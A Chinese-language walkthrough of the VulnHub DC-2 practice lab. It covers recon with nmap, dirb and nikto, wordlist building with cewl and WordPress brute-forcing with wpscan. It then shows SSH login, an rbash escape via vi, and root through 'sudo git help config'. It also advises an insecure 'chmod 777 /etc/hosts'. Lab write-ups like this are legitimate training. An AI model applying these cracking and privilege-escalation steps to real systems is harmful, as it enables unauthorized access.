vulnhub靶机练习——DC2

0x00 准备工作

在vulnhub官网下载DC:2靶机https://www.vulnhub.com/entry/dc-2,311/

导入到vmware

image-20230730184049013

注意:保障靶机和渗透主机在同一网段即可,这里我们网络模式选择 NAT 模式,即共享IP地址

打开kali准备进行渗透(ip:192.168.247.135)

根据提示 需要把靶机的IP和 域名绑定 修改hosts文件

0x01 信息收集

跟上题一样(arp-scan,masscan,nmap)

1
2
3
4
5
1、arp-scan -l

2、masscan --rate=10000 -p1-65535 192.168.247.137

3、nmap -sV -p 80,7744 -A -oX dc2.xml 192.168.247.137
1
nmap -sS 192.168.247.135/24

image-20230730184624821

得知

渗透机kali IP :192.168.247.135
靶机IP :192.168.247.137

对靶机进行深度扫描

image-20230730184918331

或者

发现 ip,直接 nmap 一顿梭:nmap -A -p- -T4 192.168.247.137

image-20230730185558328

接着他的网站目录,dirb 一顿梭:dirb http://192.168.247.137

image-20230730185744330

0x02 网站探测

看到熟悉的 “wp-admin”,基本可以确定是个 wordpress 的网站了 直接浏览器访问一下试试:

image-20230730185832344

emmmm 靶机做了重定向,直接跳转到了http://dc-2,而且还没做域名解析……

image-20230730191456331

状态码301,永久重定向

curl 基于文本的浏览

-I 返回http头部信息

我们整理一下信息:

  • 靶机开放了80端口
  • 80端口重定向到了 http://dc-2
  • 靶机CMS框架为 wordpress
  • 靶机开放了ssh端口

修改域名解析

既然靶机没有做域名解析,那就做一次域名解析嘛

主机的hosts文件

作用:主机名到ip地址的映射

且优先级比DNS高

解决:

Windows主机:notepad c:\windows\system32\drivers\etc\hosts

kali主机: /etc/hosts

添加主机名到ip地址的映射

192.168.247.137 dc-2

DNS解析顺序:

DNS缓存>hosts>DNS服务器

ipconfig /displaydns 查询DNS缓存

ipconfig /flushdns 清楚、刷新DNS缓存

1
2
3
4
sudo chmod 777 /etc/hosts
# 修改权限,保证非root也可写可执行
vim /etc/hosts
# 进入vim修改hosts文件

手动添加 dc-2 的解析,保存并退出:

image-20230730190100676

修改hosts文件

然后再次浏览器访问 http://dc-2:

image-20230730202647958

image-20230730202726482

image-20230730202942417

方法一:

1
nikto -host http://dc-2

image-20230730210231695
方法二:

1
dirb http://dc-2

dirb是一个web内容扫描器,他查找现有或隐藏的web对象。他基本上通过对web服务器发起基于字典的攻击并分析响应来工作的。

image-20230730210537654

0x03 登录CMS后台,发现flag2

cewl是一个ruby应用程序,给定url,可以生成用于密码破解的口令字典

根据flag1的提示

1
2
cewl http://dc-2 -w dc-2.txt
# -w 写入文件

image-20230730211025236

在得到这些信息之后我们初步判断这是一些密码。有了密码当然就需要账户。根据网站搜集的信息,我们使用wpscan扫描靶机

wpscan 是专门用于扫描WordPress的

1
2
wpscan --url http://dc-2/ -e u 
-e u 枚举用户名

1
wpscan --url http://dc-2 -U dc2-user.txt -P dc-2.txt

可以爆出

image-20230730213438408

登录

只有jerry用户有信息

image-20230730214331303

提示wordpress没啥可利用的

直接用刚刚爆出来的两个账号 ssh 登录一下试试

1
2
ssh tom@192.168.80.131 -p 7744
# 这里加个 -p 是因为靶机的ssh不是常用端口,需要指定一下*

image-20230730214636270

成功连上,看到了flag3.txt

tom 登陆成功 然后四处逛逛,发现他有 flag3,但是你看不了,因为你是 rbash……

image-20230730214934080

tips:

什么是rbash?

受限shell是Linux Shell限制一些bash shell中的功能,并且是从名字上很清楚。该限制很好地实现了命令以及脚本在受限shell中运行。它为Linux中的bash shell提供了一个额外的安全层。

不能使用cd命令(意味着不能更改目录)
不能设置或取消环境变量:SHELL,PATH,ENV,BASH ENV
导入功能受限
指定包含参数’/‘或’-‘的文件名(即命名中不能包含’/‘或’-‘)
不能使用使用>,>|,<>,>&,&<,>>等重定向操作符
不能使用set+r或者set + o 关闭

那先查看一下环境变量:echo $PATH$

image-20230730220257978

方法:利用系统常见应用逃逸

ftp

more

less

man

vi

vim

以上在输入的地方输入 !/bin/sh 或者 ! /bin/bash

1
2
3
4
5
6
7
step1: vi

step2:

:set shell=/bin/sh

:shell

然后设置环境变量:

1
2
export PATH=/bin:/usr/bin:$PATH
export SHELL=/bin/bash:$SHELL

image-20230730221013458

此时路径变了

可以直接cat了

image-20230730221029543

poor old Tom is always running after Jerry. Perhaps he should su for all the stress he causes.

可怜的老汤姆总是在追杰瑞。也许他应该为自己造成的压力负责。

提示使用su,tom和jerry都是用户,应该是要切换到jerry

1
2
3
su jerry
cd /home/jerryls
cat flag4.txt

image-20230730221228823

sudo -l 一下,看看 jerry 有哪些权限:

image-20230730221455724

emmm jerry居然能以root身份去git,那没事了,开始提权 (而且flag4也暗示我们通过git提权,我们就上网找一个poc)

image-20230730221523676

1
2
sudo git help config
*# root权限打开git的配置,注意这里一定要sudo,不然是以普通用户身份打开git*

多页分隔,绝佳的 hack 位点

image-20230730221658153

回车,然后发现我们已经有了root 的shell:

此时已是root

然后直接去老家看flag啦:

1
2
3
cd /root
ls
cat final-flag.txt

image-20230730221729006

总结:

1.熟悉渗透的流程
2.信息收集对整个渗透过程来说尤其重要,端口扫描和网站指纹的收集
3.熟悉wpscan使用
4.了解rbash逃逸的方法
5.了解suid提权的git提权的使用